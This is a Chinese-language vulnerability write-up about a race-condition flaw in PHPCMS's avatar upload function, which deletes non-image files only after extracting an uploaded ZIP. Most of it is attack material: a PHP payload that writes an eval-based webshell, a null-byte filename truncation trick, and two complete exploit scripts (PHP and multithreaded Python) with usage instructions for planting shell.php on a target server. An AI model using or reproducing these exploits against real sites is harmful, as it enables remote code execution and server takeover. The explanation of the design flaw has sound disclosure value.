PHPCMS前台设计缺陷导致任意代码执行
作者:felixk3y
简要描述:
PHPCMS前台存在严重设计缺陷
利用这个设计缺陷可导致任意代码/命令执行,当然可Getshell.
但PHPCMS代码执行不是这篇文章的主题,今天的主题是:
主题一:给大家介绍一种通用的设计缺陷,希望能引起各个厂商重视,以及由此衍生出来的一种比较新颖的漏洞利用方法,此设计缺陷目前我已在多个CMS上证明.
主题二:我想说的是当我们有任何奇思妙想的时候,哪怕这个想法"不切实际"、"不可能",只要我们想方设法去实践,就会有意想不到的效果,这个漏洞就是证明.
PS: 明天放假了,在这里祝大家新年快乐!
详细说明:
#1 前言
猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都完完了…
#2 叼着炸药包的猛兽来了
请先看下面这段代码
<?php if(isset($_GET['src'])){ copy($_GET['src'],$_GET['dst']); //... unlink($_GET['dst']); //... } ?>
这段代码实际意义不大,不过,没关系我们重在研究嘛,一种典型的”将猛兽放进室内,才杀之”的案例,我们来看看
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst']-->此炸药包非彼炸药包,此炸药包的作用是生成恶意文件 :-)
上述代码即存在本文所讲的设计缺陷
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,后面的unlink($_GET['dst']);将之删除...
但是,各位厂商们 你们可曾想到这个木马可能在你们删除之前,生成了新的木马文件,结果可想而知,SO... 还请在设计产品时多考虑考虑....
#3 PHPCMS案例
PHPCMS相应的设计缺陷在上传头像的功能处,我们来看看其代码
/phpsso_server/phpcms/modules/phpsso/index.php 第572行开始 uploadavatar()函数
public function uploadavatar() { //根据用户id创建文件夹 if(isset($this->data['uid']) && isset($this->data['avatardata'])) { $this->uid = $this->data['uid']; $this->avatardata = $this->data['avatardata']; } else { exit('0'); } $dir1 = ceil($this->uid / 10000); $dir2 = ceil($this->uid % 10000 / 1000); //创建图片存储文件夹 $avatarfile = pc_base::load_config('system', 'upload_path').'avatar/'; $dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/'; if(!file_exists($dir)) { mkdir($dir, 0777, true); } //存储flashpost图片 $filename = $dir.$this->uid.'.zip'; file_put_contents($filename, $this->avatardata); pc_base::load_sys_func('dir'); //解压缩文件 pc_base::load_app_class('pclzip', 'phpsso', 0); $archive = new PclZip($filename); $archive->allow_ext = array('jpg'); $list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH); //判断文件安全,删除压缩包和非jpg图片 $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg'); $files = glob($dir."*"); foreach($files as $_files) { if(is_dir($_files)) dir_delete($_files); if(!in_array(basename($_files), $avatararr)) @unlink($_files); } if($handle = opendir($dir)) { while(false !== ($file = readdir($handle))) { if($file !== '.' && $file !== '..') { if(!in_array($file, $avatararr)) { @unlink($dir.$file); } else { $info = @getimagesize($dir.$file); if(!$info || $info[2] !=2) { @unlink($dir.$file); } } } } closedir($handle); } $this->db->update(array('avatar'=>1), array('uid'=>$this->uid)); exit('1'); }
#5 漏洞利用poc
只要有php文件生成那就好办了,poc构想如下:
正常情况:
上传头像-->生成临时文件(1.php)-->删除非jpg文件
我们想要的情况:
上传头像-->生成临时文件(1.php)-->1.php在上层目录生成shell.php文件-->删除1.php等非jpg文件,留下shell.php文件-->成功
1.php.php.jpg文件的内容为:
<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
同时用数字填充,大小为1 2M左右,同时打包为ZIP包,如图:
当然为了能顺利的利用,手工是不行的,程序的执行多快啊 是吧...
于是我们利用PHP写出POC,打开至少15个CMD窗口跑起来,模仿多线程嘛,哈哈...
我相信不一会就会在上层目录生成我们想要的shell.php文件,POC如下 这里就不演示了...
<?php /** * Created by felixk3y * Date: 14-01-10 * Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit... * Blog: http://weibo.com/rootsafe */ error_reporting(7); if($argc<2){ print "/n/tUsage:exp.php www.vulns.org/n"; exit(); } $num = 0; $loop = 0; $host = $argv[1]; $posts = post(); $shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址 $tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//临时的php文件,后面会被删除 //先访问临时数据包 while(++$loop<6){ echo "正在进行第".$loop."轮尝试.../n"; while(++$num<11){ echo "正在进行第".$num."次尝试访问临时文件.../n"; _get($host,$tmpfile); } $num = 0; while(++$num<51){ echo "正在进行第".$num."次提交ZIP数据包同时试访问临时文件.../n"; send_http($host,$posts);//正常提交数据包 //if($num%2==0){ _get($host,$tmpfile); //} } $num = 0; while(++$num<11){ echo "正在进行第".$num."次尝试访问临时文件.../n"; _get($host,$tmpfile); } $num = 0; } $res = _get($host,$shell); if(preg_match('/200 OK/',$res)) { echo "--->Success!/n/n"; }else{ echo "------->Failed!/n/n"; } function post(){ $asc = hex2asc("00");//目的是截断1.php.php.jpg为1.php $repstr = "php".$asc."php"; $data = ""; $fp = fopen('phpcms.zip','r');//phpcms.zip要上传的数据包 while(!feof($fp)){ $data .=fgets($fp); } $data = preg_replace('/php/.php/i',$repstr,$data); return $data; } function hex2asc($str){//进制间转换 $str = join('',explode('/x',$str)); $len = strlen($str); for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2))); return $data; } function _get($host,$path){ //http get方法 $headers = "GET $path HTTP/1.1/r/n"; $headers .= "Host: ".$host."/r/n"; $headers .= "Connection: close/r/n/r/n"; $fp = @fsockopen($host,80); fputs($fp, $headers); $resp = ''; while (!feof($fp)){ $resp .= fgets($fp, 2048); } return $resp; } function send_http($host,$post) { $data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1/r/n"; $data .= "Host: www.vulns.org/r/n"; $data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)/r/n"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/r/n"; $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3/r/n"; $data .= "Accept-Encoding: gzip, deflate/r/n"; $data .= "Connection: keep-alive/r/n"; $data .= "Content-Length: " . strlen($post) . "/r/n/r/n"; $data .= $post . "/r/n"; //echo $data; $fp = @fsockopen($host,80,$errno,$errstr,30); if(!$fp){ echo $errno.'-->'.$errstr."/n"; exit('Could not connect to: '.$host); }else{ fputs($fp, $data); $back = ''; while(!feof($fp)){ $back .= fgets($fp, 2048); } fclose($fp); } return $back; } ?>
漏洞证明:
#6 Exp利用代码
为了方便利用,最后我用py写了最终的EXP,代码如下
#coding=GB2312 #Date: 2014-01-11 23:50 #Created by felixk3y #Name: PHPCMS <=V9.5.2 Arbitrary File Upload Exploit... #Blog: http://weibo.com/rootsafe import os import sys import socket import urllib import urllib2 import threading import msvcrt # postu: 文件上传post的URL # shell: 最终生成shell的URL # tmpfile: 文件上传生成的临时文件URL # postu & shell & tmpfile 这三个参数根据具体情况更改 postu = '/install_package/phpsso_server/index.php' shell = '/install_package/phpsso_server/uploadfile/shell.php' tmpfile = '/install_package/phpsso_server/uploadfile/avatar/1/1/1/1.php' class upload(threading.Thread): def __init__(self,num,loop,host,header,tmpfile,shell): threading.Thread.__init__(self) self.num = num self.loop = loop self.host = host self.header = header self.shell = '%s%s' % (host,shell) self.tmpfile = '%s%s' % (host,tmpfile) def run(self): while True: print '正在进行第%d轮尝试.../n' % self.loop while(self.num<3): print '正在进行第%d次尝试访问临时文件...' % self.num self._get(self.tmpfile) self.num += 1 self.num = 1 while(self.num<11): print '正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num self.send_socket(self.host,self.header) self._get(self.tmpfile) self.num += 1 self.num = 1 while(self.num<11): print '正在进行第%d次尝试访问临时文件...' % self.num self._get(self.tmpfile) self.num += 1 self.loop += 1 self.num = 1 def _get(self,tmpfile): try: response = urllib2.urlopen(tmpfile) if response.getcode() == 200: print '/nSuccess!/nShell: %s/nPass is [1@3].' % self.shell os._exit(1) except urllib2.HTTPError,e: pass def send_socket(self,host,headers): if 'http://' in host: host = host.split('/')[2] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, 80)) sock.send(headers) sock.close() class ThreadStop(threading.Thread): def run(self): try: chr = msvcrt.getch() if chr == 'q': print "stopped by your action( q )." os._exit(1) except: os._exit(1) def usage(): print '/n/tUsage: upload.py <url> ' print '/n/tExp: upload.py www.vulns.org' os._exit(0) def hex_to_asc(ch): ch = int(float.fromhex(ch)) return '{:c}'.format(ch) def post_data(): postdata = '' asc = hex_to_asc('00') repstr = 'php%sphp' % asc fps = open('phpcms.zip','rb') for sbin in fps.readlines(): postdata += sbin postdata = postdata.replace('php.php',repstr) return postdata def exploit(): num = 1 loop = 1 threads = [] host = sys.argv[1] cookie = sys.argv[2] if 'http://' not in host: host = 'http://%s' % host postdata = post_data() mhost = host.split('/')[2] dvalue = '3f84AABWUlIDVAFSUwRTVA9QVwRRUAFXAFcLUFNMWgYKAENAQzkDF0cMbgkGTlsAXQdlJQIJCEVqAE5mMUhUJ28FJHV8ABcgXCN5NS5ZNQ' params = 'm=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=%s' % dvalue posturl = '%s?%s' % (postu,params) header = 'POST %s HTTP/1.1/r/n' % posturl header += 'Host: %s/r/n' % mhost header += 'User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)/r/n' header += 'Content-Type: application/octet-stream/r/n' header += 'Accept-Encoding: gzip,deflate,sdch/r/n' header += 'Content-Length: %d/r/n' % len(postdata) header += 'Cookie: %s/r/n/r/n%s/r/n' % (cookie,postdata) shouhu = ThreadStop() shouhu.setDaemon(True) shouhu.start() for i in range(10):#线程数不能小了 t = upload(num,loop,host,header,tmpfile,shell) t.start() threads.append(t) for th in threads: t.join() if __name__ == "__main__": if len(sys.argv) < 2: usage() else: exploit()
#7 Exp跑起来
phpcms_exp.py www.vulns.org cookie值
效果如下所示
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论